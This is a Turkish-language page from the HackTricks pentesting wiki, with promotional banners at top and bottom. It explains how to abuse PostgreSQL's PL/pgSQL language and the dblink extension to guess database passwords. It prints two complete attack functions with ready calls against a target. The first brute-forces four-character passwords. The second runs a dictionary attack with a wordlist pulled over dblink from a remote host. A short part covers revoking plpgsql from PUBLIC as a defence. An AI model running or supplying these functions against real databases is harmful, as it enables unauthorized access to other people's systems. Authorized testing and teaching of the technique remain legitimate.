htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!
Bir cybersecurity şirketinde çalışıyor musunuz? Şirketinizi HackTricks'te reklamını görmek ister misiniz? veya PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARINI kontrol edin!
PL/pgSQL, SQL'nin yeteneklerini aşan tam özellikli bir programlama dilidir ve gelişmiş prosedürel kontrol sunarak SQL'nin ötesine geçer. Bu, döngülerin ve çeşitli kontrol yapılarının kullanılmasını içerir. PL/pgSQL dilinde oluşturulan fonksiyonlar, SQL ifadeleri ve tetikleyiciler tarafından çağrılabilir ve veritabanı ortamında operasyonların kapsamını genişletir.
Bu dili kullanarak PostgreSQL'e kullanıcı kimlik bilgilerini kaba kuvvet saldırısı yapması için istekte bulunabilirsiniz, ancak bu kullanıcının veritabanında mevcut olması gerekmektedir. Varlığını doğrulamak için aşağıdaki komutu kullanabilirsiniz:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+---------plpgsql |
Varsayılan olarak, fonksiyon oluşturma yetkisi, her kullanıcıyı kapsayan PUBLIC adlı bir gruba verilir. Bunun önüne geçmek için yönetici, PUBLIC alanından USAGE yetkisini iptal etmek zorunda kalabilir:
REVOKE ALL PRIVILEGES ONLANGUAGE plpgsql FROM PUBLIC;
Bu durumda, önceki sorgumuz farklı sonuçlar üretecektir:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+-----------------plpgsql | {admin=U/admin}
Aşağıdaki betiğin çalışabilmesi için dblink fonksiyonunun var olması gerektiğini unutmayın. Eğer yoksa, aşağıdaki komutu kullanarak oluşturmayı deneyebilirsiniz:
CREATE EXTENSION dblink;
Şifre Kaba Kuvvet Saldırısı
İşte 4 karakterli bir şifre kaba kuvvet saldırısı nasıl gerçekleştirilir:
//Create the brute-forcefunctionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$DECLAREword TEXT;BEGINFOR a IN65..122LOOPFOR b IN65..122LOOPFOR c IN65..122LOOPFOR d IN65..122LOOPBEGINword := chr(a) || chr(b) || chr(c) || chr(d);PERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnectionTHEN-- do nothingEND;ENDLOOP;ENDLOOP;ENDLOOP;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql';//Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Not: 4 karakterin bile brute-force saldırısı birkaç dakika sürebilir.
Ayrıca bir wordlist indirebilirsiniz ve sadece bu şifreleri deneyebilirsiniz (sözlük saldırısı):
//Create the functionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$BEGINFOR word IN (SELECT word FROM dblink('host=1.2.3.4user=namepassword=qwertydbname=wordlists','SELECT word FROM wordlist')RETURNS (word TEXT)) LOOPBEGINPERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnection THEN-- do nothingEND;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql'-- Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Bir cybersecurity şirketinde çalışıyor musunuz? Şirketinizi HackTricks'te reklamını görmek ister misiniz? veya PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARINI kontrol edin!